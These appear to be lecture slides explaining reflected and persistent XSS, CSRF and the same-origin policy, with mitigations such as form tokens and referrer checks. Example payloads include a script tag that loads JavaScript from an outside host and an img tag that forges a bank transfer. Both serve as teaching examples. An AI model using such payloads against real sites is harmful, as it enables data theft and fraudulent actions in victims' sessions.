THE CROSS-SITE ATTACKS

There are three flavors of cross-site scripting attacks (one of which leverages another, so the argument can be made that there are only two)

1) Cross-Site Scripting – Leverages insufficient validation of a web-based application to cause visitors to certain URLs to run scripts they do not intend to. Recall that there are two types of XSS – reflected and persistent. Reflected refers to the malicious script being referenced in a URL parameter, whereas persistent refers to the HTML that loads the malicious script being permanently stored on the server. XSS is most commonly used to scraping of data from a page / resource.

2) Cross-Site Request Forgery – Leverages a user’s current state of authentication with a web-based application to execute commands the user does not intend to. XSRF is most commonly used to get the server to do something unintended.

3) Cross-Site History Manipulation – Leverages CSRF to infer information about a user authenticated to a web-based application. The information that can be disclosed is commonly sensitive.

THE IMPORTANCE OF CROSS-SITE ATTACKS

As more and more sensitive operations are placed onto the internet, the potential

impact of web-application based exploitation continues to grow as well.

Fifteen years ago the world-wide web would hardly be considered for accessing highly

sensitive operations such as banking and financial management. This is hardly

the case today (how many of you have checked your bank accounts using your

phone or other internet-connected device today?)

XSS can be used to scrape information that you shouldn’t have access to, and XSRF

can leverage that data to submit requests that you don’t want being submitted

using your state of authentication with the web application.

Thus, XSS and XSRF are commonly used hand-in-hand to do some serious damage. If

you are developing systems that are web-facing and contain sensitive information

/ perform sensitive attacks it is crucial that you mitigate both XSS and XSRF

attacks on your application.

CROSS-SITE SCRIPTING (REFLECTED)

http://someVulnerableSite.com

Bob Mallory

In reflected XSS, Mallory gets Bob’s

browser to request a URL that contains a

value that will be “reflected” on the

resulting page – the goal of malicious

XSS being to have this reflected value

somehow send sensitive information to

Mallory. For instance, if

someVulnerableSite.com took a

parameter via query string and dropped it

on the page without cleaning it, Mallory

could send a URL to Bob that had the

malicious link in it.

http://someVulnerableSite.com?search=<scri

pt%20type=‘text/javascript’%20src=‘http://m

oarcodeplz.com/content/js/xss.js’></script>

CROSS-SITE SCRIPTING (PERSISTENT)

http://someVulnerableSite.com

Bob Mallory

In persistent XSS, Mallory is able to have

a value “baked in” to the web application,

and thus when users navigate to pages

that contain the value, the script

executes as expected. A common

location to see this happen is online

forums, where users are able to post

valid HTML to show others and the

values get persisted on the server. If

Mallory was to write a post that simply

contained the proper script, anyone that

viewed the post could be hit.

CROSS-SITE SCRIPTING EXAMPLE

http://someVulnerableSite.com

Sansomega

(or YOU!)

Sansomega

Let us see a quick example of how

reflected cross-site scripting can be used

to harvest potentially sensitive data.

I have set up a quick scraping demo via

Google Gruyere. To see how the same-

origin policy affects data exfiltration, try

the ajax link first.

Attempt to use AJAX and GET to exfiltrate

Use img and GET to exfiltrate

THE SAME ORIGIN POLICY

As per Wikipedia –

“In computing, the same origin policy is an important security concept for a

number of browser-side programming languages, such as JavaScript. The policy

permits scripts running on pages originating from the same site to access each

other's methods and properties with no specific restrictions, but prevents access

to most methods and properties across pages on different sites.”

As seen in the previous example (the AJAX one) the same origin policy presents a

hurdle for data exfiltration via XSS – an AJAX request could not be submitted to a

URL that was not owned the domain of the currently served page. To put this in

lay men’s terms, we could not submit an AJAX request to http://moarcodeplz.com

because the site that the AJAX request was originating from was http://google-

gruyere.appspot.com.

CROSS-SITE REQUEST FORGERY

As per Wikipedia

“Cross-site request forgery, also known as a one-click attack or session riding and

abbreviated as CSRF (sometimes pronounced sea-surf[1]) or XSRF, is a type of

malicious exploit of a website whereby unauthorized commands are transmitted

from a user that the website trusts.[2] Unlike cross-site scripting (XSS), which

exploits the trust a user has for a particular site, CSRF exploits the trust that a site

has in a user's browser.”

Cross-site request forgery is also known as CSRF, XSRF, “sea surf,” session riding,

cross-site reference forgery, and hostile linking.

Where XSS can hurt (you may disclose plenty of sensitive information via XSS), in this

day and age privacy is hardly expected anymore. XSRF, on the other hand, can be

incredibly damaging to your financials, your interwebz reputation, or anything else

that is hooked into the world-wide web.

HOW DOES XSRF WORK? (GENERAL IDEA)

Cross-site request forgery relies on the fact that the target (Alice) is currently authenticated to a system that the attacker (Mallory) would like to tamper with. The most common analogy that can be found on the web is that of online banking. Let’s run through an example of how an insecurely designed sensitive application could be vulnerable.

1) Alice logs into AliceBank.com and checks her balance. She then opens up another tab and starts browsing Slashdot.org.

2) AliceBank.com allows its customers to transfer money at the drop of a hat, and the page that does this uses a query string for parameter passing. Thus, if Alice used the AliceBank.com web interface to transfer fifty dollars to Bob, the page that would be requested would be http://AliceBank.com/transfer.php?from=Alice&to=Bob&amount=50.

3) The developers of AliceBank.com think that this is safe, as they are making sure that the individual specified in the “from” field is currently authenticated with their application on the server side. Thus, no one but Alice can submit this request.

HOW DOES XSRF WORK? (GENERAL IDEA) (2)

Granted that manipulating application state via GET requests is a web-dev 101 DONTDOTHIS, how can the attacker possible forge a request if they aren’t authenticated as Alice?

They can get Alice to submit the request unknowingly, which is the reason that XSRF is commonly referred to as “session riding,” – the attacker is piggy-backing on an authenticated session of their target.

4) Mallory, knowing that Alice is a SlashDot fanatic, and also knowing that SlashDot allows for images to be posted in comments (almost positive this is incorrect, but roll with me here), posts the same comment in every article that she thinks Alice might read. The image that she keeps posting is not, in fact, an image, but is instead the following: <img src=‘http://AliceBank.com/transfer.php?from=Alice&to=Mallory&amount=99999’/>

5) When Alice visits any of the pages that contain this “image” on them, as per the proper operating procedure of browsers, her browser will request the image’s url. As the browser can not know that the url does not point to an actual image until the request is returned, the same-origin policy can not apply here.

HOW DOES XSRF WORK? (GENERAL IDEA) (3)

6) Because the application developers allowed server-state manipulation via GET

requests and only relied on server-side session state as authentication of

requests, this attack would work very easily.

As can be seen in this example, the name XSRF comes from the following:

Cross-site: A URL is requested from a site outside the requested URL’s domain.

Request forgery: A request is made using the authentication of an unwitting individual

HOW DOES XSRF WORK? (VISUAL)

AliceBank.com MallorySite.com

Bob Mallory

1) Bob is authenticated to AliceBank.com

2) Mallory somehow (commonly via social engineering) gets

Bob to visit a website that has her XSRF attack in it. For

this example, let us say that site is MallorySite.com, and

that the XSRF attack is an iframe that auto-posts to

AliceBank.com, submitting a request to transfer money

from Bob to Mallory.

3) Bob requests the site that Mallory wants him to.

4) The MallorySite.com page is sent back to Bob’s browser

and thus rendered.

5) A request is sent (unbeknownst to Bob) to AliceBank.com

to transfer money from Bob to Mallory. The application

checks to see that the individual trying to initiate the

transfer is authenticated as Bob, which checks out to be

true, and thus the transaction is made.

(2)

(3)

(4)

(5)

SO LET’S JUST USE POST INSTEAD OF GET!

Hey now, that’s a great idea! If the example that we ran through used POST instead of GET, then the attack that we looked at wouldn’t have worked! Let’s just change that over and clean our hands of this whole mess!

HTTP GET requests can most commonly be detected by the presence of a query string at the end of a URL. A GET request is not supposed to modify any server state! Ex: http://moarcodeplz.com?what_is_this=this_is_a_query_string

HTTP POST requests are requests that are sent to the server with details placed within the request itself – thus a URL will not tell anything about the sent data in a POST request.

Images, CSS references, and other objects that are placed on a page can not be retrieved using post requests (they must use get requests). Thus, the attack vector that we just discussed would not work if the money transfer was done via POST instead of GET.

So that’s it then, right? GET -> POST -> ??? -> Profit?

EH…..

POST MAY BE A DETERRENT…

But it certainly is not a mitigation.

Simple links can no longer be used to exploit the XSRF vulnerability, nor can AJAX be

used on another site to submit a POST request, but synchronous requests can

still be forged to foreign domains with a little JS-fu.

For instance, have a hidden form on your own site that submits when a user navigates

to the given page. The user will experience a full post-back but will likely have no

idea what actually happened (aside from the fact that they will end up on the

page that you posted to). To lower suspicions even further, you could throw this in

an iframe and keep any visible redirection from even occurring.

Bottom line here is that simply changing protocols from GET to POST is insufficient for

mitigating XSRF vulnerabilities.

XSRF MITIGATION

There are a handful of ways to mitigate XSRF, and the following approaches assume that the developers have already taken into account the fact that only POST requests are supposed to change server state.

1) Supply a “key” with any forms that your web site contains. A hidden field can be placed within a form that has a randomly generated “key.” Upon receiving a POST request, the server will check to see if the key that was submitted alongside the POST was in fact the one that was issued to the given user. If it is not, the request can be discarded. As there are no legitimate reasons (aside from improper programming) for the keys not to match, receiving keys that do not match can be considered for an alert that your site is “under attack.” This can also be done with URLs instead of only forms.

2) Checking that the HTTP referrer of the submitted request is that of your own site. In XSRF, the request will be submitted from a site that is not yours, and as such the HTTP referrer will reflect this. If the HTTP referrer of a submitted request does not match your domain, then this too can be considered for an alert that your site is “under attack.”

XSRF AND XSS – BFFS FOREVER

Hey Chris, what’s that thing that you said earlier about XSS and XSRF, something

about them getting along really well?

WHY IS THIS?

If you’re experienced with XSS and XSRF, please don’t shout this out.

Let us assume that the developers of AliceBank.com have taken the necessary steps

to ensure that their application is no longer vulnerable to XSRF, but they haven’t

gotten around to patching all of their XSS holes.

Recall that XSS allows us to scrape otherwise hidden information off of a given page,

and to insert whatever we want onto the page as well. How would this be a

problem for a site that is protected against XSRF but not XSS?

RUH ROH! STILL VULNERABLE TO XSRF!

The mitigations that we previously discussed for

XSRF are broken if the site is still vulnerable to XSS!

1) XSS can be used to scrape tokens off of the site

and send them to Mallory, thus circumventing

the token-based XSRF mitigation.

2) XSS allows the attacker (nearly) full control over

the contents of a page. If that’s so then why

don’t we just launch our XSRF attack from

within the XSS-vulnerable page itself, thus

circumventing HTTP referrer checking

mitigation.

PRACTICAL XSRF APPLICATION

Given the current state of security on the web, what are the chances that there exists a web site that transfers money like the one in the example? I’m guessing there may actually be one, but I doubt it’s very big.

That being said, what is XSRF commonly used for?

1) Changing router / firewall settings – Chances are that most home routers require you to be locally connected to access the router control panel. This gives a false sense of security, because why put an additional password on your router interface if you have to be authenticated with your WPA2-secured wifi network to access it? Well, if XSRF is crafted correctly a target could take down his entire firewall without even knowing it (XSRF initiates from the client’s browser, and thus is within the authentication realm of the local network).

2) Poking at intranet sites – Chances are that large companies have an intranet that is only accessible if you’re on the company’s network. The attacker may not be, but the target (if they open the wrong page on their work machines) is readily authenticated, thus with carefully crafted XSRF an attacker can poke around a company’s intranet without compromising any account credentials.

3) Really anything in which an attacker can get an authenticated individual to execute a request of the attacker’s choosing.

QUESTIONS / COMMENTS

Let’s hear em!